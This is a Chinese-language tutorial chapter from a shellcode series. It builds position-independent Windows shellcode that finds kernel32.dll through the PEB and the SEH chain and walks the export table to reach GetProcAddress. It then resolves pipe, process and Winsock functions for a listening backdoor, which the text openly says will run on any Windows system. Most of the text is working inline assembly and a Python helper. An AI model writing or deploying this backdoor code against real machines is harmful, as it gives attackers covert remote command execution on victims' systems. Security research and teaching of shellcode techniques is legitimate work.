1.7 完善自定位ShellCode後門

2023-07-05 12:01:21

在之前的文章中,我們實現了一個正向的匿名管道ShellCode後門,為了保證文章的簡潔易懂並沒有增加針對呼叫函數的動態定位功能,此類方法在更換系統後則由於地址變化導致我們的後門無法正常使用,接下來將實現通過PEB獲取GetProcAddrees函數地址,並根據該函數實現所需其他函數的地址自定位功能,通過列舉記憶體匯出表的方式自動實現定位所需函數的動態地址,從而實現後門的通用性。

1.7.1 通過PEB定位GetProcAddress

通過在第4.5章中筆者已經完整的分析並實現了定位kernel32.dll模組基地址的詳細分析流程,以下將直接利用PEB查詢kernerl32地址,讀者可根據自身需求跳轉到相應文章中學習理解,本章只給出實現流程;

  • 1.定位FS暫存器,FS暫存器指向TEB結構
  • 2.在結構TEB+0x30的地方指向的是PEB結構
  • 3.在PEB+0x0C的地方指向PEB_LDR_DATA結構
  • 4.在PEB_LDR_DATA+0x1C地方的第二個陣列記憶體出的就是kernel32.dll地址
#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    __asm
    {
        mov eax, fs:0x30        ; PEB的地址
        mov eax, [eax + 0x0c]   ; Ldr的地址
        mov esi, [eax + 0x1c]   ; Flink地址
        lodsd
        mov eax, [eax + 0x08]   ; eax就是kernel32.dll的地址
        mov Kernel32,eax
    }
    system("pause");
    return 0;
}

執行上述程式則讀者可獲取到kernel32.dll模組的記憶體地址0x75B20000,輸出效果圖如下所示;

既然拿到了當前模組的基地址,下一步則是通過該地址尋找到GetProcAddress的記憶體地址,而GetProcAddress是在kernel32.dll模組中的匯出函數,所以我們可通過查詢kernel32.dll的匯出表來找到GetProcAddress函數的記憶體地址。

首先匯出表的結構定義如下所示;

Typedef struct _IMAGE_EXPORT_DIRECTORY
{
 Characteristics; 4
 TimeDateStamp 4         # 時間戳
 MajorVersion 2          # 主版本號
 MinorVersion 2          # 子版本號
 Name 4                  # 模組名
 Base 4                  # 基地址,加上序數就是函數地址陣列的索引值
 NumberOfFunctions 4     # EAT匯出表條目數
 NumberOfNames 4         # ENT匯出函數名稱表
 AddressOfFunctions 4    # 指向函數地址陣列
 AddressOfNames 4        # 函數名字的指標地址
 AddressOfNameOrdinal 4  # 指向輸出序列號陣列
}

其中的欄位含義:

NumberOfFunctions欄位:為AddressOfFunctions指向的函數地址陣列的個數;
NumberOfName欄位:為AddressOfNames指向的函數名稱陣列的個數;
AddressOfFunctions欄位:指向模組中所有函數地址的陣列;
AddressOfNames欄位:指向模組中所有函數名稱的陣列;
AddressOfNameOrdinals欄位:指向AddressOfNames陣列中函數對應序數的陣列;

當讀者需要在Kernel32.dll模組內查詢GetProcAddress的地址時,可以採用如下所示的實現流程;

  • 1.通過尋找TEB/PEB並在其中獲取kernel32.dll模組基址
  • 2.在(基址+0x3c)處獲取e_lfanewc此處代表的是PE模組的標誌
  • 3.在(基址+e_lfanew+0x78)處獲取匯出表地址
  • 4.在(基址+export+0x1c)處獲取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
  • 5.搜尋AddressOfNames來確定GetProcAddress所對應的index
  • 6.下標index = AddressOfNameOrdinalse [ index ]提取到,此時函數地址就儲存在AddressOfFunctions [ index ]

如上流程所示,我們查詢GetProcAddress的地址,就在函數名稱陣列中,搜尋GetProcAddress的名稱;找到後根據編號,在序號陣列中,得到它對應的序號值;最後根據序號值,在地址陣列中,提取出它的地址。其組合程式碼如下,並給出了詳細的解釋。

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    __asm
    {
            // 得到Kernel32基址
            mov eax, fs:0x30        ; PEB的地址
            mov eax, [eax + 0x0c]   ; Ldr的地址
            mov esi, [eax + 0x1c]   ; Flink地址
            lodsd                   ;載入字串
            mov eax, [eax + 0x08]  ; kernel32.dll基址

            // 定位到匯出表
            mov ebp, eax                ; 將基址存入ebp
            mov eax, [ebp + 3Ch]        ; eax = PE首部
            mov edx, [ebp + eax + 78h]  ; 匯出表地址
            add edx, ebp                ; edx = 匯出表地址
            mov ecx, [edx + 18h]        ; ecx = 輸出函數的個數
            mov ebx, [edx + 20h]
            add ebx, ebp                ; ebx =函數名地址,AddressOfName

        search :
            dec ecx
            mov esi, [ebx + ecx * 4]
            add esi, ebp                ; 依次找每個函數名稱

            // 列舉尋找GetProcAddress
            mov eax, 0x50746547
            cmp[esi], eax; 'PteG'
            jne search
            mov eax, 0x41636f72
            cmp[esi + 4], eax; 'Acor'
            jne search

            // 如果是GetProcAddr則計算匯出地址
            mov ebx, [edx + 24h]
            add ebx, ebp              ; ebx = 序號陣列地址, AddressOf
            mov cx, [ebx + ecx * 2]   ; ecx = 計算出的序號值
            mov ebx, [edx + 1Ch]
            add ebx, ebp              ; ebx=函數地址的起始位置,AddressOfFunction
            mov eax, [ebx + ecx * 4]
            add eax, ebp              ; 利用序號值,得到出GetProcAddress的地址
    }

    system("pause");
    return 0;
}

讀者需要自行在反組合末尾add eax,ebp設定一個斷點,然後執行程式,觀察eax中的資料可知,當前GetProcAddress的地址為0x75c39570,輸出效果圖如下所示;

1.7.2 組合實現動態定位功能

有了上述功能的支援,動態定位的實現將變得格外容易,首先我們通過動態定位的方式確定GetProcAddress的記憶體地址,該函數接收一個字串引數,則我們通過push的方式將字串的十六進位制依次壓棧儲存,然後通過call [ebp+76]呼叫也就是呼叫GetProcAddress函數來動態得到記憶體地址,當得到地址後預設儲存在EAX暫存器內,此時則通過mov [ebx+]的方式依次填充至通過sub esp,80分配的區域性空間內等待被呼叫。

首先實現該功能的前提是我們需要得到特定字串所對應的十六進位制值,並將該值以32位元模式切割,這段程式碼可以使用Python語言非常快捷的實現轉換,如下所示,當讀者執行後則會輸出我們所需函數位符串的十六進位制形式;

import os,sys

# 傳入字串轉為機器碼
def StringToHex(String):
    # 將字串轉換成位元組串
    byte_str = String.encode()
    # 將位元組串轉換成16進位制字串
    hex_str = byte_str.hex()
    # 將16進位制字串分割成32位元一組,並用0填充不足32位元的部分
    hex_list = [hex_str[i:i+8].ljust(8, '0') for i in range(0, len(hex_str), 8)]
    # 用空格連線每組32位元的16進位制字串
    result = ' '.join(hex_list)
    return result

if __name__ == "__main__":

    MyList = [
        "LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
        "ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
        "send","recv","Ws2_32"
    ]

    for index in range(0,len(MyList)):
        print("[*] 函數 = {:18s} | 壓縮資料: {}".format(MyList[index],StringToHex(MyList[index])))

執行上述程式碼片段,讀者可得到函數的十六進位制形式,並以32位元作為切割,不足32位元的則使用0補齊,如下圖所示;

首先我們以CreatePipe函數為例,該函數位符串壓縮資料為43726561,74655069,70650000,而由於堆疊的後進先出特性,我們需要將其翻轉過來儲存,翻轉過來則是00006570,69506574,61657243,又因為當前GetProcAddress函數的記憶體地址被儲存在了ebp+76的位置,則通過CALL該地址則可實現呼叫函數的目的,當執行結束後則將返回值放入到EAX暫存器內,此時只需要根據不同的變數空間mov [ebp+]來賦值到不同變數內即可;

push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi 
call [ebp+76]
mov [ebp+4], eax; CreatePipe 

接著我們再來說一下WSAStartup函數,該函數顯然不在kernel32.dll模組內,它在Ws2_32.dll模組內,我們需要先呼叫call [ebp+80]也就是呼叫LoadLibrary載入ws2_32.dll模組獲取該模組的基地址,接著在通過call [ebp+76]呼叫獲取該模組中WSAStartup函數的基址,但讀者需要注意的是,call [ebp+76]時需要壓入兩個引數,其中push edi帶指的是ws2_32.dll的字串,而push esp才是我們的WSAStartup字串,其描述為高階語言則是GetProcAddress("Ws2_32.dll","WSAStartup")形式;

push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax 

push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

根據上述提取原則,讀者可以自行提取程式碼片段並替換特定位置的字串,最終可得到如下所示的一段自定位ShellCode程式碼片段,該片段執行後則可將我們所需要的函數記憶體地址列舉出來並放到臨時變數中,等待我們使用;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
        push ebp;
        sub esp, 100;
        mov ebp, esp;

        mov eax, fs:0x30
        mov eax, [eax + 0x0c]
        mov esi, [eax + 0x1c]
        lodsd
        mov edi, [eax + 0x08]

        mov eax, [edi + 3Ch]
        mov edx, [edi + eax + 78h]
        add edx, edi
        mov ecx, [edx + 18h]
        mov ebx, [edx + 20h]
        add ebx, edi
    search :
        dec ecx
        mov esi, [ebx + ecx * 4]
        add esi, edi
    ; GetProcAddress
        mov eax, 0x50746547
        cmp[esi], eax; 'PteG'
        jne search
        mov eax, 0x41636f72
        cmp[esi + 4], eax; 'Acor'
        jne search

    ; 如果是GetProcA表示找到
        mov ebx, [edx + 24h]
        add ebx, edi
        mov cx, [ebx + ecx * 2]
        mov ebx, [edx + 1Ch]
        add ebx, edi
        mov eax, [ebx + ecx * 4]
        add eax, edi
    ; 把GetProcAddress的地址存在ebp + 76中
        mov[ebp + 76], eax

        push 0x0
        push dword ptr 0x41797261
        push dword ptr 0x7262694c
        push dword ptr 0x64616f4c
        push esp
        push edi
        call[ebp + 76]
    ; 把LoadLibraryA的地址存在ebp+80中
        mov[ebp + 80], eax; LoadLibraryA 0x41797261 0x7262694c 0x64616f4c

        push dword ptr 0x00006570
        push dword ptr 0x69506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 4], eax; CreatePipe 0x00006570 69506574 61657243

        push dword ptr 0x00004173
        push dword ptr 0x7365636f
        push dword ptr 0x72506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243

        push dword ptr 0x00000065
        push dword ptr 0x70695064
        push dword ptr 0x656d614e
        push dword ptr 0x6b656550
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550

        push dword ptr 0x00000065
        push dword ptr 0x6c694665
        push dword ptr 0x74697257
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 16], eax; WriteFile 0x00000065 0x6c694665 0x74697257

        push dword ptr 0
        push dword ptr 0x656c6946
        push dword ptr 0x64616552
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 20], eax; ReadFile

        push dword ptr 0x00737365
        push dword ptr 0x636f7250
        push dword ptr 0x74697845
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845

        push dword ptr 0x00003233
        push dword ptr 0x5f327357
        push esp
        call[ebp + 80]; LoadLibrary(Ws2_32) 0x00003233 5f327357
        mov edi, eax

        push dword ptr 0x00007075
        push dword ptr 0x74726174
        push dword ptr 0x53415357
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

        push dword ptr 0x00007465
        push dword ptr 0x6b636f73
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 32], eax; socket 0x00007465 0x6b636f73

        push dword ptr 0
        push dword ptr 0x646e6962
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 36], eax; bind 0x646e6962

        push dword ptr 0x00006e65
        push dword ptr 0x7473696c
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 40], eax; listen 0x00006e65 0x7473696c

        push dword ptr 0x00007470
        push dword ptr 0x65636361
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 44], eax; accept 0x00007470 0x65636361

        push 0
        push dword ptr 0x646e6573
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 48], eax; send 0x646e6573

        push 0
        push dword ptr 0x76636572
        push esp
        push edi
        call [ebp + 76]
        mov [ebp + 52], eax; recv 0x76636572
    }

    system("pause");
    return 0;
}

讀者可在特定位置下斷定,並切換到組合模式,例如讀者可在system("pause")上面下斷點,當執行後切換到自動視窗,則可看到EAX=0x76c323a0的記憶體地址,此地址正是recv函數的記憶體地址,如下圖所示;

至此我們通過自定位的方式實現了對函數記憶體的列舉,讀者可通過將本案例中的定位程式碼自行拷貝並替換到上一篇文章中,此時我們就實現了一個完整的ShellCode通用後門程式,該程式可在任意Windows系統下被正確執行;

1.7.3 運用SEH鏈獲得Kernel32基址

SEH (Structured Exception Handling) 例外處理鏈是一種資料結構,用於維護和跟蹤在程式執行時發生的異常的處理程式的呼叫關係。當程式在執行期間發生異常時,SEH 例外處理鏈會按照一定的順序遍歷連結串列中的例外處理程式,直到找到一個能夠處理該異常的程式為止。

在SEH連結串列中存在一個預設例外處理函數UnhandledExceptionFilter當程式在執行期間遇到未處理的異常時,作業系統會呼叫UnhandledExceptionFilter函數來捕獲該異常,並且該函數會返回一個特定的值,告訴作業系統如何處理該異常。

UnhandledExceptionFilter 指標是在異常鏈的最後,它的上一個值是指向下一個處理點的地址。因為後面沒有例外處理點了,所以會被表示為0xFFFFFFFF

有了這個原理那麼我們就可以搜尋例外處理連結串列,得到UnhandledExceptionFilter的記憶體地址,首先我們通過mov esi,fs:0得到執行緒的TLS也就是執行緒本地儲存的指標,然後通過迴圈的方式向下遍歷,直到遍歷到指標的最後,此時也就得到了UnhandledExceptionFilter的地址,如下程式碼片段則可輸出該地址;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最後
        mov eax, [eax]               ; 否則繼續遍歷
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]
        mov address,eax
    }

    printf("UnhandledExceptionFilter = %x \n", address);

    system("pause");
    return 0;
}

執行如上組合指令,則可獲取到UnhandledExceptionFilter的記憶體地址,此處輸出結果如下圖所示;

此時我們已經得到了UnhandledExceptionFilter函數的記憶體地址,由於該函數是Kernel32.dll裡面的匯出函數,所以我們就從UnhandledExceptionFilter函數的地址往上找,找到開頭的地方,自然就是Kerner32的基地址了。

此外由於Kerner32模組也是可執行檔案,其開始標誌同樣是MZPE,而且因為系統分配某個空間時,總要從一個分配粒度的邊界開始,在32位元下,這個粒度是64KB。所以我們搜尋時,可以按照64kb遞減往低地址搜尋,當到了MZPE標誌時,也就找到了Kernel32的基地址。實現程式碼如下:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最後
        mov eax, [eax]               ; 否則繼續遍歷
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]

    FindMZ :
           and eax, 0xffff0000        ; 64k對齊特徵
           cmp word ptr[eax], 'ZM'    ; 判斷是不是MZ格式
           jne MoveUp
           mov ecx, [eax + 0x3c]
           add ecx, eax
           cmp word ptr[ecx], 'EP'     ; 判斷是不是PE
           je Found                    ; 找到了
    MoveUp :
            dec eax                    ; 指向下一個界起始地址
            jmp FindMZ
    Found :
            mov address, eax
        nop
    }

    printf("Kernel32 = %x \n", address);

    system("pause");
    return 0;
}

編譯並執行上述組合程式碼,則可以輸出kernel32.dll模組的基地址,輸出效果如下所示;